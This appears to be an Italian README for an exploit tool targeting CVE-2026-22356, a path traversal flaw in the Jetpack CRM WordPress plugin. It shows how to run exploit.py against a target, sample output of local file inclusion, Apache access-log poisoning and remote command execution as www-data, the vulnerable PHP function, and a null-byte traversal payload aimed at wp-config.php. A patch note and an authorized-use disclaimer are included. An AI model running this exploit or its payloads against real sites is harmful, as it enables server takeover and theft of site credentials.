
CVE-2026-22356: Vulnerabilità di Path Traversal di Jetpack CRM e RCE
Attenzione: Questo strumento dovrebbe essere utilizzato solo in ambienti di test autorizzati. L'utente è interamente responsabile per l'uso illegale.
pip3 install requests urllib3
$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
$target_file = $alt_path . "admin/$page_name.page.php";
if ( file_exists( $target_file ) ) {
require_once $target_file;
}
}
In questo codice, $page_name viene utilizzato direttamente senza alcuna validazione, quindi un attaccante può inviare page=../../../wp-config.php%00 per innescare la chiamata require_once("admin/../../../wp-config.php%00.page.php"). Quando PHP interpreta il byte null come fine del nome del file, il file wp-config.php viene eseguito.
Nella versione 6.7.1, questo codice è stato corretto aggiungendo controlli realpath() e strpos().
Questo documento è stato preparato per aiutarvi a comprendere la vulnerabilità CVE-2026-22356 e per utilizzarla nei vostri test autorizzati. L'uso illegale è di esclusiva responsabilità dell'utente.